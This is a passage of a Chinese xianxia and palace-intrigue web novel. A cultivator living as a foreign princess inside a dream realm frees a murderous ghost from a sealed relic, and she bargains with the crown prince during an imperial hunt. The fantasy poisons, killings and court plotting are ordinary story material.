公主让待女的尸身留在马车,口中反反复复念叨着:“她也是护主有功,尸骨未寒,趁着回宫,必得要姑姑彻查此事。”
杨掌事不敢多看一眼,心事重重下来马车,这话不禁萦绕心头,迟迟难散。
可杨掌事不知,她那细微的神情已尽收眼底。孤竹京亦看出来其中暗意,拉长了嗓,“父皇那边我会说明,凶犯迟早落网。”
一日已过尾,当空艳阳惶惶然落下,宫人步子来来回回,匆忙不已。
现下传的最大的事,不是淳瑶公主遇刺,而是圣上大怒了。但起因还是公主身边的待女死了,明明也不是什么大事,可好好的寿诞,就这么触上死人的霉头,又被孤竹京添油加醋,
什么白日青天,刺客行凶,临城整治不严,危及民心云云,最主要是再过两日圣上出城游猎,万一遇到别有用心的歹人,岂不横生变数?
圣上一向疑神疑鬼,颇为惜命,多少听进去一些,仅过一夜,寝食难安,次日早,又是加强了临城防护,又是满城彻查和亲公主遇刺的可疑人员。
任舒映则被皇后入召慈春殿,
又了扶鸾临死前那句话,任舒映打心里便信不过这个姑姑。尤其如今,皇后说起话来一套接着一套,她还得谨慎回话。
柳元霜在一旁睨了她一眼,默不作声。
皇后见她一来,招呼一声,拉着的手,“淳瑶,可有伤着?”
任舒映摆头:“没有伤到,偶遇四皇子,这才化险为夷。”
“偶遇?”柳元霜蓦然发话,听得出来质疑之意呼之欲出。
怀疑便怀疑罢,没有证据确凿情况下,也不能拿她如何,她罔若未闻,自顾自道:“还好,杨掌事替我买东西去了,这才免糟一劫。”
皇后喟叹一声,“早该多为你派些护卫,本宫一时疏忽了。”
“对刺客有何印象?不妨说出来,本宫自然会替你做主。”
任舒映微愣,眸中一转道:“刺客身手不凡,应该是受人指使,有备而来,所以我怀疑是身边下人透露了我的行踪。”
“好,我让杨掌事多注意一下。”
任舒映摆头作罢,她听得出来皇后对扶鸾遇刺而亡不大关心。
怪不着,亦不敢怪。
扶鸾也已经死了,多说无益。
随后她道声谢,语调满是信任:“杨掌事我最放心不过了,只是扶鸾不在了,单有杨掌事,许多事情杨掌事忙不开来,我想让她先去外院管理,内房我再安排一个待女。”
话已至此,皇后思虑良久答:“淳瑶自己有主意就行,防人之心不可无,还要多加注意。”
任舒映暗暗满意,愈加乖巧道谢。随后觑了一眼柳元霜,果不其然她的脸色暗沉下来。也不知这场刺杀中,到底是皇后一己私欲,还是已与这柳元霜为共谋。
她在多想,接着劳累为由,回到华棠院。在房中枯坐片刻,忽然觉得自己心里头空落落的,没有了扶鸾,接下来她再也没有监视杨掌事的眼线,行事拘束几分。
把人遣走,她缓缓回到案台,刚拿出那瓶百毒蛊水与阴魂金简,
乍然间身后声音冷冷响起,还差点没拿稳,吓的她把东西收回柜里。
“你这是什么?”
40.旖旎靡梦红尘井(十)
“孤竹京,你为何不走正门?”
任舒映虽被这不请自来的人吓到,好在语调还算是平稳。
他不动声色打量半合着的柜子,挑眉反问:“你确定我要从大门走进来?”
“你来做什么?”
任舒映不想揪着一个无关要事的话题不放,又怕他主意到百毒蛊水,索性岔开话。
孤竹京这才正色,“扶鸾的尸体已经安葬好了,在城外,若是要见她,可以趁着父皇出城游猎时候去。”
此番话让她回想近日乱七八糟的事,但又话说回来,扶鸾这件事还得靠孤竹京打理。沉吟半晌,自知言不尽意,遂道声谢。
“当然,我来并非都是因为这么一件小事。我带着走扶鸾后,查过尸体,她指腹关节都有茧,经脉强劲,按理说她应该是可以对付一个刺客。”
孤竹京话下之意,是说扶鸾会武,但是扶鸾在她身边便一直都没有显露过武力,她也是如今才知道。
任舒映沉默深思的反应,孤竹京尽收眼底,甚至饶有兴趣的看着,紧接着说:“随后在血中验出一毒,此毒当凭普通验血之发尚不能出效,我是用了你们巽国偏方才知道是竭心草。”
竭心草又是什么?
任舒映默声不语,念起毒名。
孤竹京感叹着:“给用武之人下竭心草,只会武功尽费,此生再也不可习武。她中毒量过多,又是五脏衰竭,已是回天乏术,命不久矣。”
巽国,如今整个临城的巽国人还有哪几个。
两人心知肚明,孤竹京以最稳妥的方式告知。她摸摸鼻子心中想到的却是他大抵是猜得出她的身份,孤竹京在马车外,把扶鸾说到的都听完了吧。
任舒映如今情绪再无明显波动,反复告诉自己这里是红尘井,扶鸾或许也并非真的人,感怀过久,复赘劳神。
随即释然道:“罢了,已故之人,何必再提。”
到了孤竹京耳上又是另外一个意思,是这公主还在难受呢,还不能接受,不让他再说起此事罢。
孤竹京没在多说其他,刺客还在搜查,便爬窗跑了,她还有一件事要做。
再次取出百毒蛊水,打开木塞一瞬间,一股浓郁刺鼻臭味扑面而来。
看了眼,也都怪那个刺客,她意识下,当即泼了一半下去,如今所剩不多,加上这件事发,再想借个由头出去恐怕难如登天。
也不知,这些百毒蛊水到底够不够用了。
她四周走了一圈,取出一个妆台上的空瓷瓶,制成一个简易的器皿,将自己的血和百血蛊毒融倾入瓶内,搅拌均匀。
阴魂金简封印了了灵魄,若是要取出来,只能凭借蛮力打破。但轮到真要打破金简,又略微迟疑,毕竟金简一旦封印打开就不可能再复原,她沉吟片刻,拿出师尊给她的幻影珠。
大不了,用幻影珠放一个假的她,留在此处。自己再跑出去寻个合适的地方破了这封印。
她将幻人制造出来,传给她记忆便往孤竹京翻的窗出去,刚一落脚,一个模糊不清的身影倏地飞来,她差点惊叫出声。
“孤竹京!你怎么还没有走啊?”
“小心点,那边有人在外面偷窥你。”
任舒映立刻寒毛倒竖,究竟是何人,如此没完没了啊。
孤竹京一边拉着她走了几步,伸手指向靠近她床边那个窗口,“那个拐角处有片衣角。”
顺着他所指,果真如此,她瞥过一眼就看出来是杨掌事,不过里面有幻人,倒不必过于担心。
“你不上去整治?”
孤竹京一道话把她思绪拉回来,他凝视着任舒映,隐约中带有探究的意味。
“不必,她留着还有用,”任舒映摆头,继续催促道:“你赶紧走吧。”
孤竹京纹丝不动,反而问:“你要做什么,还要爬窗出来?”
“与你无关,赶紧走。”
孤竹京越来越好奇,反正闲来无事,索性在这里赖会:“手里那是什么?是不是你柜子里的东西?”
一问一大串,让他知道便知道了罢,任舒映在红尘井外便于孤竹京相识,尽管如今的他全然不知道红尘井外之事,潜意识她还是留有信任。
纠结不过须臾,任舒映无奈之下,最后松口:“你先随我来。”
解释一路,孤竹京对阴魂和灵魄一知半解,没有阻止,反倒是帮她看着附近,任舒映才可以好好开封印。
华棠殿后面的院落依山傍水,虽皆是假山石,亦能当作一个完美的障物,遮盖视线。
百毒蛊水里面已经混好自己的血,用火折子燃上火,百毒蛊水中立即氤氲出一片淡淡的紫烟,孤竹京回想任舒映说此物遇火起烟,不可深嗅,见状蒙上口鼻。
只见这个公主把手上执着石头,反反复复砸在金简上,可莫名怪异,此外别说打碎,就连一丝裂纹都没有。
孤竹京捂着嘴闷哼一声:“石头都碎了,你倒不如直接把这东西扔里面去吧。”
任舒映有些颓然地看着孤竹京,“……”
不过确实只能如此。
她思忖片刻,一把将其投掷瓷瓶中:“……孤竹京?”
她再抬头一看,只见周围皆是黑郁的树影,空无一人,万籁俱寂。
瓷瓶一团浊气涌出来,将她包围。灵魄呢?扫视一遍,并未见到。
“就是你破了这个道封印?”
她望浊气而望,不见人迹,唯闻其声如浑厚古钟,仿佛在往她的耳膜撞。
“是谁,出来。”
“我就是阴魂啊哈哈哈……”
原来这就是是阴魂,如此一来,正好借此机会洗涤阴气,让他归息。
但她还有一事不解,此事涉及到阴魂,遂问:“灵魄怎么会没有?”
“你被骗了,阴魂金简里根本没有灵魄,只有阴魂。”
“哦?是吗?”
她确实是不清楚阴魂金简的作用,但是阴魂渺梦山还是略有耳闻,
阴魂没有肉身和完整的意识,所以好控制,也正因如此,也会有魔修控制阴魂四处作恶。据说魔族地界的阴魂最多,所以修界才如此忌惮,却又不敢真的与魔族正面掐上。
对付阴魂的法子很多,可以用灵力直接打散,不过显然此发不适合她,其二是“还生愿”,所谓阴魂不散,是因阴魂生前夙愿为了,与邪怨之灵结合后,摆脱生死道的控制,不肯轮回,遂魂留于世。
她尝试着沟通:“既然如此,你说说看你的平生夙愿是何?”
阴魂忽然间大怒:“我不要你还生愿!我要永远留在此处。”
“?”
任舒映怔住,面上疑惑之色愈加明显。
奇怪,阴魂怎么会不肯说出“还生愿”呢?如今是以她的血为引,就算阴魂说谎亦,她作为养魂主,是有感知才是。
方才阴魂亲口说没有灵魄时,她还可以感知出来,怎么如今毫无反应。
她眼眸微沉,缓缓开口:“为何留在此处?”
阴魂莫名笑出声:“杀人啊,把这里都毁了,你不觉得很有趣吗?”
“……”
并不觉得。<
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任舒映面无表情看着阴魂,随后狂风涌动,树林摇晃。
“终于出来了,随我去杀点人吧。”
阴魂和养魂主不可离开,她自然也知道养魂主该如何控制这种滥杀成性、不安分的阴魂,随后她默默被带走,待眼前紫色浓雾渐消。
她出现在一个女子的闺阁中,精致的布局,衣架上挂着华丽的锦裙,以及屋内摆放的随处可见的红烛,昼亮入明。
院外喧腾不已,显然是这贵府小姐要出嫁。
“你带我来这里杀谁?”
虽然不清楚这个阴魂的想法,总归是和这个阴魂有关,她耐心看着,阴魂蓦然出现在她面前。
“都杀。”
话音刚落,屋子外面穿来一声凄厉叫喊,随后一声接一声。她几乎冲出去,陷入眼帘的,已然是一片狼藉倒地,人尸伏山,血流满院。
她倒吸一口气,惊愕的目光落在最中心的红衣新娘上。
不是,还真说杀就真杀了啊!?
阴魂对着她耳畔轻声道:“满意吗?”
任舒映真的了阴魂的手段,担心又继续杀人,随后语调一凛,斜睨着身边团簇的紫雾:“你真的以为,我不知道怎么收拾你吗?”
她咬破手指,红血溢出,将袖中藏着的血灯取出来,随后以血在瓷瓶画出一个符纹。
阴魂立马呜咽哀嚎:“你果然知道这么多,没关系我们来日方长——”
话落,阴魂被瓷瓶尽数吸入。
这样关不了多久,阴魂还会在出来的,既然阴魂已经出来,灵魄定然是被藏起来了,趁如今阴魂尚不能如何时,必须抢先一步寻到再说。
满园腥气把千思万绪拉回来,一院尽在阴魂一语之间而亡,看来不好对付。
寻了一圈,没有她确定没有活口后,喟叹一声离开此处。
不料,方踏出大门一步,她眼前一黑,毫无征兆晕倒在地。
——
……
再度睁眼,她躺在一个陌生的床上。茫然爬起来,孤竹京坐在床边的矮椅上。
怎么会……
她不是在一个府邸中吗?
她环顾四周,最终目光落在孤竹京脸庞上,
“这是哪里?”
“府中。”
“?”
“什、什么府?”
孤竹京眼底深邃,似乎在里里外外打量任舒映,“自然是我的府,你告诉我一件事。”
任舒映心头一跳,莫名心虚。莫非他是在那个死了一院的府门外看见她的?
“什么?”
“你一直在闻那个毒气晕倒了,我本想着把你带回华棠院,你自己房中。可里面为何会有一个一模一样的人?”
原来是这件事。
任舒映:“……这个,说来话长,但是她确实是我。”
孤竹京挑眉复问:“两个都是你?”
她解释一通,有觉得不对,又答:“不对,华棠院那个是假的,我和你说,这是一种障眼法,为了做给杨掌事看的。”
孤竹京半信半疑。
任舒映回想阴魂杀人之事,可见孤竹京说她是晕倒。
莫非方才发生的一切皆是梦。
她因为一直在闻白毒蛊水的毒烟,所以出现幻觉了吧。
那么这一切都说的通,孤竹京不知道她心里所想,随后率先提出一个话题:“你知道吗,西街昨夜一家富户全家暴毙,都在传是一团漆黑的鬼影所为。”
任舒映闻言瞳孔骤缩,惊愕道:“什么?!”
41.旖旎靡梦红尘井(十一)
“是我解开了阴魂金简的封印……”她垂眸回忆,“昨夜,阴魂屠了一个府的人,我以为那只是一个梦。”
孤竹京走上一步,任舒映说罢,忽然在身边翻找什么。
“寻什么?”
她抬头看孤竹京,“……血灯呢?”
孤竹京摆头,“未曾见到。”
“既然是阴魂所为,那会不会是阴魂带着血灯跑了?”
任舒映亦是这么想,阴魂若是带着血灯,那定会肆无忌惮四处杀人,她也无能为力。
任舒映思来想去,暂无他法,只道:“阴魂嗜杀,你替我盯着,若是有重大凶杀案,那便是阴魂做恶无疑。”
孤竹京应下,见任舒映接着说:“你先回宫。”
——
华棠殿。
她离开一夜,并无人发现端倪,幻影人被她收回时,她查看了一遍幻影人在她离开后的事。
杨掌事在昨夜忽然来寻她,幻影人的记忆中,
皇后特让杨掌事穿话,因为圣上过两日要去临城外的行宫游猎,让她好好准备,作伴陪同去行宫。
她自是不能拒绝,安安分分在华棠殿待两日。直到游猎之日,柳元霜居然不请自来。
任舒映听到柳元霜来时,还颇为惑狐观察过杨掌事的反应,不过杨掌事比她更加茫然。
将柳元霜带入华棠殿中,柳元霜身后跟着好几个婢女,每一个人手上拎着一个包袱。
任舒映眯着眼扫视一遍,到底还是没有开口说话。
这个仗势,说是搬到华棠殿来住都说得过去。到底要干嘛呢?
两人皆是沉默半晌,柳元霜僵着脸,不情不愿开口:“今日游猎,我要与你共乘一车。”
“?”
没听错吧?她这是要干嘛,共乘一车?
任舒映满腹疑窦,可怎么看,柳元霜都不似开玩笑。
也不等任舒映作答,柳元霜指着身侧大大小小的包袱催促起来。
“这些都是我要带去行宫的东西,我要先去放好,你也快点。”
任舒映沉默着翻了个白眼。
这大小姐故意的吧?这么多东西,哪还放得下她的。
看着柳元霜冷哼离开,
“杨掌事,”任舒映懒洋洋动了动身子,
“你去准备吧。”
杨掌事微顿,百般不愿意也不能拒绝,只咬牙领命。
——
此次行宫游猎阵仗颇大,甚至临城中,连接着孤竹皇城的几个主要大道,皆已封闭,不容许路人来往。
因为还涉及到孤竹皇宫的贵人安全,还特意把临城外驻扎的精兵调遣至此,可谓是把路包围的水泄不通。
任舒映一开始还不知道柳元霜葫芦里卖的什么药。直到她上马车后,她恍然大悟,
主要是发现太子一身便装,骑着马就在她马车旁边。
她不禁瞄看了几眼,不料一道声音冷不防传入她耳畔。
“太子殿下是受圣上之命,才会留在这里,不然我才不会和你共乘。”
听罢,轻笑一声。
柳元霜当真是喜欢那个太子,为了能见面,甚至愿意与她这个横刀夺爱的情敌共坐一车,难为她了。
笑了片刻,她收回落在孤竹宇身影的视线。
这是有多喜欢太子?
——
行宫在临城外的一条大江边,草木茂盛,一眼望去绿幕障目,一路耗时几个时辰,无聊下,她听着柳元霜和她的待女对话,
“小姐,行宫安排好了居所,因为都是按马车名册排,所以我们要和淳瑶公主住一起。”
“什么?!”柳元霜不可置信看向任舒映,“能不能改?我要自己住。”
待女凝思片刻:“恐怕不行,行宫本就小,居所也基本上已经满了……”
柳元霜紧绷一张脸,沉的几乎要滴出水,可以说,已经把“不愿意”三大字写在脸上了。
不对啊,要是不爽也应该是她才对,光是马车就被压榨。
任舒映扶额,手掌撑着脑袋,瞥过柳元霜。
“……不过,听说太子殿下就住在隔壁。”待女缓缓说,看她如此迟疑不决,应该也不能确定是不是真的。
柳元霜听了脸色立马就变了,脸上覆盖的冰霜顿时烟消云散,改口道:“那罢了,就住一起吧。”
全程不发言的任舒映,几乎是瞪着这个小姐:“……”
啊?
中途,太子还寻过来,不过不是找柳元霜,反倒是见任舒映,而且是特意要与她单独说话。
任舒映却不想私下面谈,拒绝后,孤竹宇屡次三番派人来请,无奈之下她只好离开马车。
趁着马车整顿,她被带到要干嘛没有其他路人的地方,孤竹宇含笑走来,“为了请公主见上一面还真的是不容易呢。”
她直问:“太子是有什么见不得人的事非要在这里说吗?”
“公主未免小人之心了,孤这还是特意为你着想,关于你和孤竹京的事,若是当真那些人的面说了,你可就要身败名裂。”
孤竹宇紧接着道:“如今不管你和他有什么瓜葛,游猎事即,你得必须给孤一个明确的立场。”他步子动了几步,越来越靠近任舒映,声音压的极低,
“选他,还是孤?”
她嗤笑一声,“为何选?我若是两个都不选呢?”
孤竹宇打量任舒映许久,忽然发现这个传闻泼辣蛮不讲理的公主特别不一样,或许比他想象中的要聪明。
他如今还需要巽国旧部的势力,这个淳瑶是唯一的中间人,他确实是不能动手,半晌莞尔一笑:“你不想选择也没关系,那我们做个交易吧。”
听罢,任舒映脸色稍缓,“说吧。”
“据闻你擅武,你此次参与游猎,且要一路都跟着我一起。作为交易,日后,孤保你安安稳稳做上太子妃之位。”
任舒映不为所动,
太子妃?她确实没有兴趣。反观孤竹宇的让她去游猎,大抵是盘算着如何对付孤竹京吧。
这个反应落在孤竹宇眼下,他颇为意外,太子妃之位多少临城小姐心之向往,她居然还不满意?
随后下了一个新印象,还特别有野心。
“还要什么,你说。”
孤竹宇是个聪明人,任舒映也不拐弯抹角,一语惊人,
“要我答应也可以,我还要你给我一定的自由,替我杀了皇后。”
孤竹宇见状脸色大变,怀疑自己莫不是听错了,
“你疯了?!她是你姑姑。”
任舒映曾许诺过会为扶鸾报仇,皇后与淳瑶有关系,与她何干?
她向来有仇必报,自不会让扶鸾枉死。皇后也罢,她怎会惧?
孤竹宇平复心绪,拧眉道:“她待你不薄
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吧?
皇后虽不是他生母,但是对待他这个太子也还是尽心尽力,且在宫内行事慈善大度,就连宫中妃子恃宠而骄,皇后也不会招惹,都是他得知后,看不下去才来出头摆平。
实在想不通这个公主才来孤竹国几日,就算是和皇后有什么深仇旧怨,非要将其置于死地。
任舒映沉吟片刻,亦不多费口舌,反正要求就摆在这里了,
便冷冷道:“你应,我便依你所说的做。”
孤竹宇敏锐察觉到,他变的被动了。
他为了皇位筹备了多年,牺牲了许多,如今发现孤竹京也有此野心,他寝食难安,明明是一个疯子生下来的人,突然之间变得如此机警,万一,十几年来孤竹京都在装疯卖傻呢?
孤竹京所作所为,他越细想越觉得后怕,甚至觉得,孤竹京将会是他登上帝位最大的阻碍。
而他的父皇迟迟不愿意将摄政大权交予他,朝中已有些风言风语,开始揣测圣上的打算,而后是不是要另择新主,也难说,毕竟君心难测,故而他现如今十分焦躁,如坐针毡。
父皇总是犹犹豫豫,举棋不定。
他已经这般岁数,许多事情心有余力不足,偏偏还喜欢自己独揽着,就算和一个巽国和亲,孤竹国还可以安定多久?
他想不通,所以寻到了巽国旧部,如今依靠皇后两边联系,日后还需要靠淳瑶公主。
现如今淳瑶公主的要求,就是要他从中选择,
活一个,死一个。
从屯田养兵,勾结巽国开始,他就在幻想登上帝位那一日。他既然都已经决定牺牲父皇,
那么,皇后亦可。
孤竹宇凝思许久,落下一语:“皇后之事我可以答应你,你也不要想着做一些小动作混淆视听,你若是和孤竹京再有其他瓜葛,后果自负。”
任舒映扬眉一笑,眸中情绪不达眼底。
“说到做到。”
——
马车缓缓行驶,浑圆的轮子在泥泞许久未打理的道上留下深深的痕迹。
任舒映正襟危坐,自顾自酌一杯茶。方饮一口,身边柳元霜忽然发话:“你和太子哥哥说了什么?”
手捧玉杯一顿,任舒映也不抬首,眼皮微动,“和你有关系吗?需要同你汇报?”
“你!”柳元霜没见过敢如此驳她话的人,真是不知好歹!
她怒不可遏,正欲发话,任舒映紧接着开口:“和太子有婚约之人是我吧,你也还是一个未出闺阁的女子,怎么还问的出来人家的私事?”
说完,柳元霜涨红了脸,气的哑口无言。
这一次口角,任舒映完美获胜,在宫中学了这么多规矩,她是看出来了,在修界极少有口角,一般都是直接动手。
但是在凡界,一个女规就可以堵住话头。甚至是与方才孤竹宇所说一样,可以身败名裂。
这个插曲结束后,任舒映耳根终于清净了,直到入了行宫,柳元霜也不曾说过一句话。
到自己住处收拾一番,马上又要去见皇后那一趟,当然,这此不只是她,在行宫的贵女都会在行宫第一日见皇后。
她不会与柳元霜同行,而是自己先行一步。
行宫不比皇城大,几步就到了目的地,遥是几百步望去,衣着华丽的女子成群结队,环顾四周时,忽然身侧肩膀被人轻轻的拍了拍,任舒映侧身一看,不由得一愣。
42.旖旎靡梦红尘井(十二)
孔黎笑眯眯凑上来,“姑娘,一道走吗?”
任舒映会意一笑,应了一声。倒是紧跟其后的杨掌事若有所思。
“皇后忙碌,不能及时见你,不妨先在侧殿休息片刻吧。”
任舒映本来打算见一眼皇后就走,因为在外所见,人确实是多,与她说话的嬷嬷前来解释罢,匆匆忙忙便走了。
她倒是无所谓,遂拉着孔黎往人少的地方而去。
“没想到你也来了。”
她还是挺惊喜的,自从扶鸾走后,她便没有再和人闲聊过,这下憋了多日,她总算是可以开话匣子。
“我猜到你会来,所以才寻了借口来见你。”
任舒映抓到一丝怪异,不断逼问道:“借口?到行宫可不简单,说!究竟是谁带你来了?”
孔黎摆头浅笑答:“晚些,你会知道的。”
这个时候卖什么关子,任舒映腹诽片刻,还是跳过这个话题。
把杨掌事支走后,任舒映终于可以说出这几日来一直担忧的事,
这也是实在是没法子,她喟叹一声:“孔黎,我解开了阴魂金简的封印,但是阴魂它带走了血灯,之后便销声匿迹,可有办法寻到吗?”
孔黎边说边思索:“阴魂有血灯,短时间恐怕是寻不到……若是等血灯耗尽,阴魂或许因为没有养料主动来寻你。”
“怎么说你也没有办法吗?”
孔黎无奈摆头,略微停顿忽然想起来一件事:“既然打开封印,怎么没有听你提起灵魄?”
“也没有灵魄。”
“这不可能吧,我亲耳听虔贞长老所说的。”孔黎还细细回想与虔贞长老见面那日,但确实是有提过灵魄。
如今没有灵魄如何寻到红线,如何出去。
这下,孔黎眉头紧蹙,任舒映反倒安慰:“无妨,我大概知道是谁,只是还需要一些时间确定。”
她此番话也不是随意所说,自从在红尘井处遇孔黎,她一开始以为红线会在扶鸾身上。可直到她死后,都没有出现任何异常,那恐怕可能是和他有关了。
念及此,孔黎忽然拽着任舒映,“看到那个人了吗?”顺着所指方向,是一个身形高挑的男人站在大门外,不过……为何会莫名觉得眼熟。
那个男人应该是一直在寻找孔黎,左顾右盼间,她终于看清楚那个男人的脸庞。
“……这不是那个谁吗?!”任舒映惊呼一声,脸中尽是诧异。
虽然不知道此人的名字,但是这张脸确实是特别好认出来,在被一个阵法带到魔域后,就是他用一盘棋局指路,才得以寻到失踪的孔黎。
后来这个大善人……又开阵法试图带她们回修界,随后便是孔黎在阵法启动最后一刻反悔。
此前种种,加上孔黎的一切反常,任舒映恍然大悟:“你不会就是为了他留下来的吧?”
孔黎虽然已经默认,但是任舒映还要继续道:“我不是说在你为了他留在红尘井,这我当然看得出来。我是说他开启阵法那天,你忽然反悔留在魔域,也是因为他吗?”
“是的,”孔黎简言做了一个介绍,“他是孤竹国三皇子,在红尘井外是魔域魔修楚惕守,他就过我一命,我是想报恩。”
任舒映哪里听不出来孔黎的话下之意,美其名曰报恩,看人的眼神都不加掩饰,几乎都要黏在人家身上,没谈过恋爱还没有见过师兄师姐他们谈吗?
任舒映还不至于愚钝到有眼无珠,看不出来其中的情愫。
不过任舒映不是多管闲事之辈,提醒一句:“这里是红尘井,就当是他失忆,你陪他作伴,感情上有了交结。那你可了解当他作为楚惕守后,又是怎么样的一个人?”
这番话让孔黎迟疑良久,始终未能说出什么来,最后还是楚惕守察觉到任舒映明目张胆的注视,才发现孔黎。
“孔姑娘,你说不上来也无妨,我不过就是想让你多加注意罢了。”
孔黎内心也颇为感激任舒映的关心,见楚惕守迎面走来,她道了谢改口道:“公主我会多加注意的,我便告辞了。”
任舒映意犹未尽,自己还没有说完自己的困惑呢,怎么就急匆匆要告辞,她隐晦做了挽留之言:“不一起去再去见见皇后吗?”
孔黎却笑着摆头:“不必了,我不过是一个普通人,自知自己不懂礼数,还是不在皇后面前丢人现眼了吧。”
看她拒绝的如此果断,任舒映只好点头作罢。
楚惕守一头雾水看了眼任舒映,语气温柔问:“怎么了?”
“没事,我不懂规矩,差点得罪贵人,还好那位公主替我解围,我们走吧。”
任舒映见两人举止亲密,原路折返的背影,长长叹气。
她只得自己领上杨掌事见皇后去,没想到还挺凑巧,同柳元霜携着先前有过一面之缘的魏家小姐撞上。
都是见皇后的,且都是同道,也只能不尴不尬并肩而行。
见到皇后,她一如往常先是招呼任舒映过来,牵起她的手几乎吸引了在场的贵人的视线。
“这位是我在巽国的侄女,淳瑶。”
闻言,在场众人皆是打量任舒映,兴许是皇后特意给她在众人面前做了介绍,也算是皇后身边受宠的人。几个懂察言观色的小姐便十分有礼打了招呼,
这也算的她在孤竹国这么多日以来,第一次收到别人的橄榄枝。
当然有来热情前来刷个眼熟,自然也会有看不惯她的人,说话的人她也见过,正是她初次到慈春殿见皇后时,在一旁的丁贵妃。
丁贵妃颇受圣上宠爱,所以一向不怕得罪皇后,始终还有些瞧不起巽国人,所以在众目睽睽之下,她心生一计,随口一问:“据闻巽国淳瑶公主貌美无双,文武兼容可是真的?”
“……?”
任舒映看转眸向皇后,其实她也不知道自己原来会武啊。
丁贵妃话落,场面沉默良久,许是她自己也有所察觉,清咳一声掩饰尴尬,唤了一个穿便服的年轻女子,“宣儿,来。”
皇后在任舒映身边小声解释:“那个小姑娘是宣瑜公主,她性子跳脱,许是听说你在巽国时会武,便想着同你切磋吧。”
“……啊?”
宣瑜公主一边打量任舒映,举步而来,
“淳瑶公主?”她有些不太相信,双手环抱着胸歪起脑袋评价:“你看起来弱不禁风的,真会武吗?”
寻思一番后,既然她会武之事已经人尽皆知,那倒不妨先看看这宣瑜公主到
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底要做什么吧。
“宣瑜公主,你光看外表未免言之过早了吧?”
宣瑜也不恼,咧嘴一笑,继而解释:“是我过错,见谅啊,既然你会武,不如你同我比试比试,我还没有见识过巽国女子的身手呢。”
“如何比试?”
“游猎之时,我们一起下场,到时候谁猎得的动物多那就是谁赢,”
为了让任舒映比试,还补加一个彩头,
“府中珍藏了一把好剑,名唤叩雪,剑身莹白轻盈,锋刃锐利,寒光凛凛。我寻思许久,唯此剑最适合你,若是你赢了,我便赠送给你。”
什么?!叩雪!?
任舒映眉头顿时凝重,不动声色攥紧拳头。依宣瑜公主描述,真的极大可能就是她的剑,虽然不知道叩雪如何落在她手中,但叩雪剑非要回来不可,若是有剑,也好对付阴魂。
既然要她游猎,也正好可以同孤竹宇的提出的合作条件撞上,她爽快答应下来,“好啊,宣瑜公主可能要让着我。”
两人话题结束,皇后这时才笑呵呵发话:“都是孩子们玩闹,随你们吧,不过游猎之事刀剑无眼,切莫因为胜负鲁莽行事。”
任舒映打量四周,眼底不经意落在柳元霜脸庞,只见她满脸洋溢笑容,似乎颇为期待这个好戏。
观此情形,暗暗猜测,和柳元霜也脱不了干系,要是在游猎时发生什么事情,倒也不足为奇。
——
次日一早,杨掌事提她准备好了游猎衣物,利落整理好,马不停蹄赶去烽火台,
因为圣上也要亲自游猎,还发言在今日必须猎得一头白鹿,以之祈求国运昌盛,鸿运不衰。
都是有要保圣上龙体安然无恙,故而所有下场的武官都要随圣上一起,不得离开过远,以便遇到什么凶禽猛兽可以及时赶来救驾。
而游猎的女子并没有强制要跟随,便可以四处走走。
游猎时间为一日半,中途不休息,胆子大的人也可以在游猎场待上个一日半,
但难就难在她需要跟着孤竹宇,怎么样才能猎得更多还是个问题。
她领过一匹马思忖,孤竹宇不知何处走过来,轻飘飘说:“记得你说过的话。”
可是她不能放弃叩雪,随后便问:“我与宣瑜公主作赌,我要猎的更多动物赢她,你不得抢我的猎物!”
孤竹宇闻言满不在意,甚至扬眉一笑:“可以,只要你跟着我,你猎得什么孤不会干涉。”
“……你不用要跟着圣上吗?”话说回来,圣上那一群人已经走了,孤竹宇怎么还在此处。
他收回笑意,摆头:“孤不用随他们,你准备好跟上来。”说完,孤竹宇转身又离开。
烽烟台设的颇高,可以望的猎场密林一览无余,当然,柳元霜也看见太子和淳瑶公主在有说有笑。
她气极,目不转睛瞪着任舒映,太子哥哥以前只会对她露出这种笑容,凭什么淳瑶一来到,就可以这么快受到太子哥哥无微不至的照拂。
甚至在游猎,他还为了一个和亲公主的安危,刻意来寻她。她抓着栏杆,看到一男一女渐渐消失在密林,冷声隐隐压着怒火,唤起身边的待女:“去吧,好好准备,但是一定不可以伤到太子殿下。”
43.旖旎靡梦红尘井(十三)
说实话。
任舒映一直跟着孤竹宇时候就发现一丝不对劲。
许是全程只有她和她的待从,而孤竹宇偏偏孤身一人。此外他没有开过弓,似乎并没有打算打猎。
随着孤竹宇渐渐偏离人多的地方,她久违看见一个人。两人不过是默默对视一眼,又擦肩而过。
“留步,皇兄。”
孤竹京喊住太子,任舒映骑着马跟在太子后面,一直凝视孤竹京。
她发现孤竹京虽然和太子面对面,但是目光亦落在后面的任舒映。
太子若有所思睨了一眼任舒映,随后问:“老四是有何要事吗?”
孤竹京沉默了许久,却又不知道说什么,看见任舒映第一眼意识下的便想要留住她。
暗骂自己一句,吞吞吐吐半天:“皇兄我要随你一起游猎。”
任舒映:“?”
孤竹宇:“哦?自然可以,正好,许久没有同你聊天了,不嫌孤话多那便一道吧。”
孤竹京硬着头皮走上来。
任舒映诧异的话都说不出来,孤竹京实属是没事找事,他打量太子忽然问:“皇兄这么久了,怎么没有见到你猎得什么?”
反倒是任舒映身边的待从,骑着的那匹马上,琳琅满目,收获颇丰。
孤竹宇:“孤是在陪着公主游猎,所以都让给她了。”
任舒映拉下脸,无语至极:什么叫都让给我??太子你本来就不打算打猎啊。
见任舒映始终没有启口,孤竹京怪里怪气答:“看来皇兄甚是心喜公主呢。”
“日后是孤太子妃,自然得待她好。”
见孤竹宇表明了淳瑶就是太子妃,孤竹京脸中毫无波澜,袖下不经意攥紧了手中的弓。
一时之间沉默的氛围中,一股火药味蹿上来,任舒映忍不住发声:“……啊,我方才看见一只野鸟飞了过去,我去看看啊。”
仓皇逃离,孤竹宇转眸问:“皇弟认识公主吗?”
孤竹京自是知道太子佯装不知,见任舒映已经走远,他露出一抹怪异的笑:“不仅认识呢。”
“不仅?”孤竹宇复述一句,斜睨孤竹京。
话里话外确实是意味深长,但是孤竹京又能如何?
“她以后会是你皇嫂。”
“以后?”孤竹京也学着太子,嗤笑一声,“那就让你没有以后。”
孤竹宇凝视许久,顿时感觉后背发寒,也不知自己在怕什么。
孤竹京无权无势,又何可惧。
“呵,皇弟又在胡言乱语了,这话孤就当没有听见过,你日后可莫要说出此等话,免得被有心之人听见,误以为和当年宋郡主一样得了疯病。”
宋氏是孤竹京生母,怀孕时摔跤撞坏了脑子,随后大病一场后便频频出现异常,疯病发作,四处伤人,为了防止她伤及无辜的人,被幽禁于宫中多年,郁郁而终。
